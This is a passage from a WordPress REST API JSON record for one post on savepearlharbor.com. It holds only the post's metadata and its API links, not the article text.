\/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-367238","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/367238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=367238"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/367238\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=367238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=367238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=367238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}